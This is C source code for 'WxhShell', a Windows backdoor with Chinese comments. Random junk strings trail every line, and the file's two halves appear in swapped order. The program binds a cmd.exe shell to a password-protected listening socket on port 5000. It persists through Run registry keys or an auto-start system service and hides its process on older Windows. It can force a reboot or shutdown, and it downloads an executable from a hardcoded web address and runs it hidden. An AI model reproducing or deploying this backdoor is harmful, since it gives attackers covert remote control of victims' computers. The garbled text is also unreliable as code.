    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JA4Zg*7I  
    if(Boot(SHUTDOWN)) +nR("Il  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z<eu=OD4t  
    else { . Z&5TK4I  
    closesocket(wsh); ~k34#j:J65  
    ExitThread(0); 5x@ U<  
    } JM;bNW8  
    break; Vu(NP\Wm  
    } CRo'r/G  
  // 获取shell 8 o}5QOW  
  case 's': { '`upSJ;e  
    CmdShell(wsh); `&NFl'l1C  
    closesocket(wsh); Mg\588cI  
    ExitThread(0); oI -Fr0!  
    break; S+06pj4Ie  
  } #w L(<nE  
  // 退出 D&m1yl@\J  
  case 'x': { r^"o!,H9q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E{6ku=2F  
    CloseIt(wsh); oRd{?I&NY  
    break; 9]3l'  
    } .U(6])%;@  
  // 离开 *4~7p4 [  
  case 'q': { !$HuH6_[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KeyKLkg>  
    closesocket(wsh); 6No.2Oo  
    WSACleanup(); _3 [E$Lg  
    exit(1); xF UD9TM  
    break; qF3S\ C  
        } cY} jPDH  
  } jEKa9rt  
  } +PYR  
QqL?? p-S>  
  // 提示信息 5%S5*c6BD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ~@@t-QY  
} j 1'H|4  
  } -6 v?iiZr  
AkjoD7.*  
  return; VFV8ik)  
} WL% T nux  
&>B|?d  
// shell模块句柄 :x q^T  
int CmdShell(SOCKET sock) &\?{%xj  
{ JBQ>"X^  
STARTUPINFO si; Ql7opl,  
ZeroMemory(&si,sizeof(si)); p"\-iY]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ve#[LBOC8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a[^dK-  
PROCESS_INFORMATION ProcessInfo; i_6wD  
char cmdline[]="cmd"; R U[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IKp(KlA  
  return 0; j@JY-^~K5  
} ^<yM0'0t  
17Q* <iCs  
// 自身启动模式 +&AU&2As  
int StartFromService(void) b(ryk./ogx  
{ <.7W:s,f=  
typedef struct :+DAzjwO<  
{ 8HO)",+I  
  DWORD ExitStatus; AM gvk`<f  
  DWORD PebBaseAddress; B7ys`eiB5C  
  DWORD AffinityMask; S4O:?^28  
  DWORD BasePriority; /|e"0;{  
  ULONG UniqueProcessId; OQX ek@~2  
  ULONG InheritedFromUniqueProcessId; L3Q1az!Ct  
}   PROCESS_BASIC_INFORMATION; r52,f%nlm  
zGFW?|o<  
PROCNTQSIP NtQueryInformationProcess; ?yz}  
CtDS lJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _jb"@TY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .yj=*N.  
;lWy?53=@  
  HANDLE             hProcess; +ACV,GG  
  PROCESS_BASIC_INFORMATION pbi; *DoEDw  
El&pu x2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f{Y|FjPp=E  
  if(NULL == hInst ) return 0; qXW2a'~  
{78*S R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R}+/jh2O|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J&:0ytG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IO_H%/v"jC  
yM D* >8/  
  if (!NtQueryInformationProcess) return 0; Y.*lO  
:* /``  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \&qVr1|  
  if(!hProcess) return 0; (U dDp"/  
c!\y\r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~ pdf'  
O-2H!58$)  
  CloseHandle(hProcess); x}>tX  
fR[!=-6^f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j1iC1=`ZM  
if(hProcess==NULL) return 0; |95/'a*  
;qk~>  
HMODULE hMod; f"0H9  
char procName[255]; qiF~I0_0  
unsigned long cbNeeded; m[7:p{  
x)yf!Dv5$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dO//  
9FLn7Y  
  CloseHandle(hProcess); `U1%d7[vY  
qL+y8*  
if(strstr(procName,"services")) return 1; // 以服务启动 PrKl whi#  
9G8QzIac  
  return 0; // 注册表启动 ;VFr5.*x  
} hCvn(f  
-pGt ;  
// 主模块 9iy|=  
int StartWxhshell(LPSTR lpCmdLine) 1DcarF  
{ Mqtp}<*@-  
  SOCKET wsl; G([vy#p  
BOOL val=TRUE; "qm>z@K  
  int port=0; 7Mv$.Z(  
  struct sockaddr_in door; r=Q5=(hn  
`k| nf9_  
  if(wscfg.ws_autoins) Install(); bX(*f>G'  
=5M>\vt]  
port=atoi(lpCmdLine); GKtQ>39B  
[;f"',)y,  
if(port<=0) port=wscfg.ws_port; `~]ReJ!X%  
Wu&Di8GhP  
  WSADATA data; bN&da [K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R,bcE4WR"  
j1kc&(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a&hM:n4P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B~#@fIL  
  door.sin_family = AF_INET; {@$3bQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \8D~,$,``|  
  door.sin_port = htons(port); sEN@q   
vrv*k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1F,_L}=o1s  
closesocket(wsl); &zcj U+n  
return 1; fLoVcl  
} z0[ZO1Fo(  
AZy2Pu56  
  if(listen(wsl,2) == INVALID_SOCKET) { ,-Nk-g  
closesocket(wsl); <pUou  
return 1; " G6j UTt  
} ! VZj!\I  
  Wxhshell(wsl); iGMONJRO  
  WSACleanup(); [1^wy#  
~(/HgFLLu  
return 0; b1]_e'jj  
yWtr,  
} # :w2Hf6Q  
F5MPy[  
// 以NT服务方式启动 CHit  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MwqT`;lb  
{ |uBC0f  
DWORD   status = 0; 2] G$6H  
  DWORD   specificError = 0xfffffff;  ja- ~`  
](:FW '-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S)@vl^3ec  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S{T d/1}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8G] m7Z  
  serviceStatus.dwWin32ExitCode     = 0; oK:P@V6!  
  serviceStatus.dwServiceSpecificExitCode = 0; L_K\i?  
  serviceStatus.dwCheckPoint       = 0; (<ZkmIXN  
  serviceStatus.dwWaitHint       = 0; UH-uU~  
ZCFf@2&z8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XuoEAu8]  
  if (hServiceStatusHandle==0) return; )2Ru!l#  
fR%1FXpK&  
status = GetLastError(); Wd56B+  
  if (status!=NO_ERROR) EvQwGt1)P  
{ /NX7Vev  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )z235}P  
    serviceStatus.dwCheckPoint       = 0; 0&IXzEOr  
    serviceStatus.dwWaitHint       = 0; KI@    
    serviceStatus.dwWin32ExitCode     = status; zZ"U9!T  
    serviceStatus.dwServiceSpecificExitCode = specificError; t{8v(}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !aw#',r8m  
    return; !FO^:V<|5  
  } ,,gLrV k  
uV}WSoq[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ViwpyC'v  
  serviceStatus.dwCheckPoint       = 0; A :bPIXb  
  serviceStatus.dwWaitHint       = 0; wEnuUC4j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WCmNibj  
} }i7U}T  
3R%UPT0>  
// 处理NT服务事件,比如:启动、停止 lAn+gDP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }pE~85h4M  
{ Wd` QpW  
switch(fdwControl) C7 ]DJn  
{ ]8m_*I!  
case SERVICE_CONTROL_STOP: EhIV(q9x  
  serviceStatus.dwWin32ExitCode = 0; Uy59zB2|=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; me:|!lI7YU  
  serviceStatus.dwCheckPoint   = 0; GtM( Y  
  serviceStatus.dwWaitHint     = 0; Z#F,y)YiO  
  { ?)mhJ/IT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?l, X!o6  
  } ~i }+P71  
  return; X(y  
case SERVICE_CONTROL_PAUSE: o\]: !#r{T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?VZ11?u  
  break; |ON&._`LH  
case SERVICE_CONTROL_CONTINUE: yD[zzEuQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8{G?92 {rN  
  break; Z[k#AgC)  
case SERVICE_CONTROL_INTERROGATE: S"P9Nf?9  
  break; m +Q5vkW  
}; (~ ]g,*+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P^8^1-b  
} &gA6+b'  
WjY{rM,K  
// 标准应用程序主函数 ntj`+7mw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z#4JA/c!  
{ vQK n=  
-7I1Lh#M  
// 获取操作系统版本 9U|<q  
OsIsNt=GetOsVer(); jcEs10y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C{UF~  
~JwpNJs  
  // 从命令行安装 &r'{(O8$N  
  if(strpbrk(lpCmdLine,"iI")) Install(); rb:<N%*t  
t{R5 EU  
  // 下载执行文件 Xr?>uqY!M  
if(wscfg.ws_downexe) { *?_qE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NZo<IKD$  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]{IR&{EI-  
} ,4H;P/xsb  
c q*p9c  
if(!OsIsNt) { 9W1;Kb|Z<  
// 如果时win9x,隐藏进程并且设置为注册表启动 X0y?<G1( a  
HideProc(); m<FF$pTT  
StartWxhshell(lpCmdLine); 3yTQ  
} SkiJ pMN  
else ug^om{e-  
  if(StartFromService()) gB]C&Q  
  // 以服务方式启动 \f(Y:}9  
  StartServiceCtrlDispatcher(DispatchTable); 2c}B  
else [AXsnpa/C  
  // 普通方式启动 sA/,+aM  
  StartWxhshell(lpCmdLine); +w "XNl  
.aNO( /kO  
return 0; IWAj Mwo  
} p{NPcT%&  
h ZoC _\  
3YR* ^  
sf Dg/ a  
=========================================== {bN Y  
B-!guf rnY  
?E % +}P  
}dy9I H  
^~^mR#<P$  
__ 8&Jv\  
" csYy7uzi  
mHKJ  
#include <stdio.h> #`/bQ~s  
#include <string.h> >f>V5L%1  
#include <windows.h> ^>-+@+( r  
#include <winsock2.h> J;S-+  
#include <winsvc.h> P"b8!k?  
#include <urlmon.h> /K f L+"^|  
Fav?,Q,n  
#pragma comment (lib, "Ws2_32.lib") pg+b[7  
#pragma comment (lib, "urlmon.lib") Qe_+r(3)k  
RF:04d  
#define MAX_USER   100 // 最大客户端连接数 #+$ zE#je  
#define BUF_SOCK   200 // sock buffer mxgqS=`  
#define KEY_BUFF   255 // 输入 buffer 8+ov(B;(  
byafb+x  
#define REBOOT     0   // 重启 Uls+n@\!  
#define SHUTDOWN   1   // 关机 (i\)|c/a7  
}"hW b(  
#define DEF_PORT   5000 // 监听端口 p+$+MeBz  
#*^e,FF<  
#define REG_LEN     16   // 注册表键长度 gSb,s [p&+  
#define SVC_LEN     80   // NT服务名长度 $(3uOsy   
$%=G[/i'  
// 从dll定义API RB [/q:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i0\)%H:z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mg`j[<wp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T<P0T<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ls1B \Aw_  
$C u R}g  
// wxhshell配置信息 dq(E&`SzK  
struct WSCFG { 2 L:$aZ  
  int ws_port;         // 监听端口 FI$XSG  
  char ws_passstr[REG_LEN]; // 口令 yPoSJzC=[  
  int ws_autoins;       // 安装标记, 1=yes 0=no  t!jYu<P  
  char ws_regname[REG_LEN]; // 注册表键名 ?_%u)S*g  
  char ws_svcname[REG_LEN]; // 服务名 J1X~vQAe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0\Y1}C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lc|{aN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &))\2pl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^&Q< tN 7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i'=2Y9S}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aBxiK[[`  
hO \/  
}; &n>7Ir  
gw+eM,Yp  
// default Wxhshell configuration LTXz$Z]  
struct WSCFG wscfg={DEF_PORT, n'M>xq_  
    "xuhuanlingzhe", 'mE^5K  
    1, 0e16Ow6\!1  
    "Wxhshell", pawl|Z'Ez  
    "Wxhshell", mlB~V3M'G  
            "WxhShell Service", &I/qG`W  
    "Wrsky Windows CmdShell Service", |55dbL$w  
    "Please Input Your Password: ", Ac`;st%l.  
  1, nZ E)_  
  "http://www.wrsky.com/wxhshell.exe", <<,>S&/  
  "Wxhshell.exe" S)7/0N79A  
    }; G\kpUdj}  
:h*a rT4{  
// 消息定义模块 Z9[+'ZWt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qybxXK:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +qy6d7^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'SV7$,mK@  
char *msg_ws_ext="\n\rExit."; [E|uY]DR  
char *msg_ws_end="\n\rQuit."; rt}^4IqL  
char *msg_ws_boot="\n\rReboot..."; y vI<4F  
char *msg_ws_poff="\n\rShutdown..."; 9]7u _  
char *msg_ws_down="\n\rSave to "; WD.U"YI8y  
r,;\/^u*  
char *msg_ws_err="\n\rErr!"; FFvCi@oT  
char *msg_ws_ok="\n\rOK!"; /{*$JF  
L'E^c,-x~  
char ExeFile[MAX_PATH]; ?fK1  
int nUser = 0; KY.ZT2k  
HANDLE handles[MAX_USER]; e fO jTA%  
int OsIsNt; /tj$luls5  
, ;jGJr  
SERVICE_STATUS       serviceStatus; #ekM"p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fk{0d  
Dl,`\b@Fw3  
// 函数声明 #*^+F?o,(  
int Install(void); <Ef[c@3  
int Uninstall(void); Gquuy7[&  
int DownloadFile(char *sURL, SOCKET wsh); ]?K. S6  
int Boot(int flag); D/ Dt   
void HideProc(void); h"W8N+e\  
int GetOsVer(void); ~ ?^/u8  
int Wxhshell(SOCKET wsl); Yj3I5RG  
void TalkWithClient(void *cs); 'jfRt-_-  
int CmdShell(SOCKET sock); |J>WC}g@n  
int StartFromService(void); =RsXI&&vh  
int StartWxhshell(LPSTR lpCmdLine); KoBW}x9Jp  
?Bx./t><  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MesRa(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K5 KyG  
eJ@~o{,?>  
// 数据结构和表定义 #Dy?GB08  
SERVICE_TABLE_ENTRY DispatchTable[] = F- rQ3  
{ %X1x4t]  
{wscfg.ws_svcname, NTServiceMain}, I 3$dVls}  
{NULL, NULL} fiDl8=~@  
}; s0"e'  
{D`T0qPT[  
// 自我安装 #x@eDnb_  
int Install(void) zI;0&  
{ md Gwh7/3  
  char svExeFile[MAX_PATH]; .*/Fucr  
  HKEY key; #"*e+.j[;  
  strcpy(svExeFile,ExeFile); L>9R4:g  
G}zZQy  
// 如果是win9x系统,修改注册表设为自启动 1KE:[YQ1  
if(!OsIsNt) { rofNZ;nu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aX6}6zubr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A%bCMP  
  RegCloseKey(key); 19U]2D/z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #f,y&\Xmf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [k%4eO2p"  
  RegCloseKey(key);  %Y nmuZ  
  return 0; P 7D!6q  
    } zGo|JF  
  } gFN 9jM  
} ^TdZ*($5  
else { V"KS[>>f  
zTm]AG|0  
// 如果是NT以上系统,安装为系统服务 o>]`ac0b}Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x!< yT?A  
if (schSCManager!=0) QG gF|c7  
{ M[]A2'fS  
  SC_HANDLE schService = CreateService :l\V'=%9'@  
  ( @C8DZ5)  
  schSCManager, }j {!-&  
  wscfg.ws_svcname, 5TKJWO.  
  wscfg.ws_svcdisp, S~OhtHwK  
  SERVICE_ALL_ACCESS, ?}P5p^6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , % ZU/x d  
  SERVICE_AUTO_START, 2[yBD-":  
  SERVICE_ERROR_NORMAL, [U{UW4  
  svExeFile, fz_nsVD  
  NULL, N@T.T=r  
  NULL, W8WXY_yJt  
  NULL, 8MwK.H[U  
  NULL, AONDx3[   
  NULL 15\Ph[6g  
  ); } ?@5W,  
  if (schService!=0) r#i?j}F}  
  { i'/m4 !>h  
  CloseServiceHandle(schService); HfNDD| Zz  
  CloseServiceHandle(schSCManager); mu]as: ~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?9+@+q  
  strcat(svExeFile,wscfg.ws_svcname); },$0&/>ft  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J4$! 68  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !RvRGRSyF  
  RegCloseKey(key); l,|%7-  
  return 0; ~`MS~,,  
    } <U Zd;e@  
  } /u<nLj1  
  CloseServiceHandle(schSCManager); <=K qc Hb  
} LaFZ?7@|}  
} 3Hi+Z}8  
dtStTT  
return 1; -NGK@Yk22  
} X@N$Z{  
I,@r5tK o  
// 自我卸载 {lG@hN'  
int Uninstall(void) }=](p-]5  
{ . RVVWqW  
  HKEY key; Sb2v_o  
+FG$x/\*0  
if(!OsIsNt) { &7mW9]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t:~t@4j}  
  RegDeleteValue(key,wscfg.ws_regname); .>g1 $rj  
  RegCloseKey(key); SUCU P<G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Bvj"mL]j  
  RegDeleteValue(key,wscfg.ws_regname); K-vWa2  
  RegCloseKey(key); RF}X ER  
  return 0; 4Aes#{R3v  
  } >zvY\{WY  
} gApoX0nrv  
} y8Xv~4qQW  
else { .\Fss(Zn  
l*aj#%ha  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5E\#%K[  
if (schSCManager!=0) ` m@U!X  
{ l U]un&[N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FwAKP>6*  
  if (schService!=0) 0*%&>  
  { ]DG?R68DQ  
  if(DeleteService(schService)!=0) { 5MTgK=c  
  CloseServiceHandle(schService); 9v )%dO.  
  CloseServiceHandle(schSCManager); f'(l&/4z{  
  return 0; `g ''rfk}  
  } "@3@/I  
  CloseServiceHandle(schService); jn%kG ~]'Q  
  } cR{>IH4^  
  CloseServiceHandle(schSCManager); ?9MVM~$  
} oP?YA-#nc  
} 0'Z\O   
Yj(4&&Q  
return 1; mg:!4O$K  
} Zi$ziDz&  
gY AF'?  
// 从指定url下载文件 CG]Sj*SA~  
int DownloadFile(char *sURL, SOCKET wsh) (P|~>k  
{ |+IZS/W"  
  HRESULT hr; 9.O8/0w7LV  
char seps[]= "/"; ]uL +&(cr  
char *token; {U!St@  
char *file; hIv@i\`  
char myURL[MAX_PATH]; S&jesG-F  
char myFILE[MAX_PATH]; q~K(]Ya/  
a?5[k}\  
strcpy(myURL,sURL); u'A#%}3  
  token=strtok(myURL,seps); ,.IEDF<&  
  while(token!=NULL) 6 &U+6gb  
  { XJ0 {  
    file=token; -ZOBAG*  
  token=strtok(NULL,seps); 1r)kR@!LNG  
  } 4A`NJ  
S*)1|~pRvQ  
GetCurrentDirectory(MAX_PATH,myFILE); N6QVt f.  
strcat(myFILE, "\\"); n_D8JF  
strcat(myFILE, file); !|?e7u7  
  send(wsh,myFILE,strlen(myFILE),0); SU_SU".  
send(wsh,"...",3,0); o/cjXun*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =TvzS%U  
  if(hr==S_OK) ({}(qm  
return 0; c>bq%}  
else f2)XP$:  
return 1; 7YWNd^FI V  
xh@-g|+g  
} QvPD8B  
{[Q0qi =  
// 系统电源模块 L}{`h  
int Boot(int flag) w]j+9-._  
{ {.e=qQ%P5)  
  HANDLE hToken; LS>G4 ]  
  TOKEN_PRIVILEGES tkp; cX!Pz.C  
1m<RwI3s  
  if(OsIsNt) { t6N*6ld2b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7[v%GoE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RWq{Ff}Hk  
    tkp.PrivilegeCount = 1; XdEPbD-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ft{[ae?4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G1T^a>tj4  
if(flag==REBOOT) { -7>)i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ri~<~oB 2:  
  return 0; `rY2up#%  
} u9-nt}hGYM  
else { 2+8#H.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tm]nEl)_  
  return 0; F-Z%6O,2  
} ~o3Hdd_#}N  
  }  EEy$w1ec  
  else { 01a-{&   
if(flag==REBOOT) { dm rps+L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zQy"m-Q  
  return 0; dBC bL.!  
} Sywu=b  
else { "LhUxnll  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VUU]Pu &  
  return 0; ;_kzcK!l  
} ^[:9fs  
} dP$GThGl  
1a0kfM$  
return 1; kW3E =pr  
} H2gj=krK  
y2HxP_s?P?  
// win9x进程隐藏模块 &tR(n$ M@>  
void HideProc(void) %bXx!x8(  
{ _Yb _D/  
!#ri5{od  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )-rW&"{U  
  if ( hKernel != NULL ) KP;(Q+qTx  
  { aAvsb$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n#Dv2 E=6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wJb#g0  
    FreeLibrary(hKernel); vQVK$n`  
  } !4"sX+z9  
zZ-wG  
return; 0Y=![tO8  
} N<|$h5isq  
8$N8}q%  
// 获取操作系统版本 gxPx&Z6jF  
int GetOsVer(void) l*b)st_p%  
{ fBtm%f  
  OSVERSIONINFO winfo; WnFG{S{s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >Y 1{rSk  
  GetVersionEx(&winfo); |xr%6 [Ff  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OIHz I2{  
  return 1; `pZs T ^G[  
  else zboF 1v`  
  return 0; C8N{l:1f]  
} {MAQ/5  
U7mozHS,:9  
// 客户端句柄模块 !;@_VWR  
int Wxhshell(SOCKET wsl) ^ OJyN,A  
{ O[17";P  
  SOCKET wsh; d<w~jP\  
  struct sockaddr_in client; ? ]sM8Bd}  
  DWORD myID; NW|f7 ItX  
<BWkUZz\P|  
  while(nUser<MAX_USER) 7z6 b@$,  
{ |4)  
  int nSize=sizeof(client); k?BJdg)xJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <O?y-$~  
  if(wsh==INVALID_SOCKET) return 1; ;T]d M fO  
=6FUNvP#8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sydh2d  
if(handles[nUser]==0) <q)4la  
  closesocket(wsh); P27%xV-n>  
else n;HHogA  
  nUser++; 6SJ"Tni8  
  } 4!62/df  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 05Fz@31~  
9Ywpej*+  
  return 0; E! /[gZ  
} (w (  
C F!Sa6  
// 关闭 socket @r(Z%j7  
void CloseIt(SOCKET wsh) ubsSa}$q  
{ vg Ipj3u  
closesocket(wsh); 4nfu6Dq  
nUser--; p1pQU={<  
ExitThread(0); 1[F3 Z  
} 2N#$X'8  
zr v]  
// 客户端请求句柄 +'@+x'/{^  
void TalkWithClient(void *cs) z2gk[zY&  
{ !2\ r LN  
5  *}R$  
  SOCKET wsh=(SOCKET)cs; j!~l,::$"X  
  char pwd[SVC_LEN]; ^{$FI`P  
  char cmd[KEY_BUFF]; 0Q,g7K<d  
char chr[1]; 5[l8y ,  
int i,j; WS-dS6Q}  
UEs7''6RM  
  while (nUser < MAX_USER) { e<7.y#L  
A,-6|&F  
if(wscfg.ws_passstr) { ]=rht9),"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @53k8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8*SDiZ  
  //ZeroMemory(pwd,KEY_BUFF); gXT9 r' k  
      i=0; 4!Z5og1kn  
  while(i<SVC_LEN) { onCKI,"  
0C<[9Dl.G8  
  // 设置超时 C`=p +2I]  
  fd_set FdRead; r0t^g9K0  
  struct timeval TimeOut; +h^jC9,m~{  
  FD_ZERO(&FdRead); o56`  
  FD_SET(wsh,&FdRead); ~"pKe~h   
  TimeOut.tv_sec=8; %98' @$:0  
  TimeOut.tv_usec=0; ^L1L=c;,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "xcX' F^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g 6]epp[8  
.Xm(D>>k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ &E}r{?  
  pwd=chr[0]; J]W5[)L  
  if(chr[0]==0xd || chr[0]==0xa) { ?1L.:CS  
  pwd=0; 4p%A8%/q  
  break; )m6M9eC  
  } ~DO4,  
  i++; 4p;aS$Q  
    } rG?>ltxB  
i'd2[A.7I  
  // 如果是非法用户,关闭 socket d@w~[b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R [H+qr  
} s}5cSU!|  
*"9><lJ-!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a`Gx=8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JvYPC  
%0#1t 5g  
while(1) { V)Z70J <'  
fQrhsuCrC  
  ZeroMemory(cmd,KEY_BUFF); %B.D^]S1:  
 zYXV;  
      // 自动支持客户端 telnet标准   Y|8v O  
  j=0;  u66XN^  
  while(j<KEY_BUFF) { Uax+dl   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [m^+,%m5]  
  cmd[j]=chr[0]; /iG*)6*^k  
  if(chr[0]==0xa || chr[0]==0xd) { L@=3dp!\Cu  
  cmd[j]=0; J0zn-  
  break; |t$Ma'P  
  } nRd)++  
  j++; S"9zc ,]  
    } !lo/xQ<  
MX@IHc  
  // 下载文件 5s(1[(  
  if(strstr(cmd,"http://")) { 0"~i ^   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d[rv1s>i  
  if(DownloadFile(cmd,wsh)) >u9Nz0?j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E2)h ?cs  
  else R_=6GZH$G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (8_\^jJ  
  } s/089jlc  
  else { ~  T>U  
<w3!!+oK"  
    switch(cmd[0]) { +iOKbc'  
  .k,YlFvj  
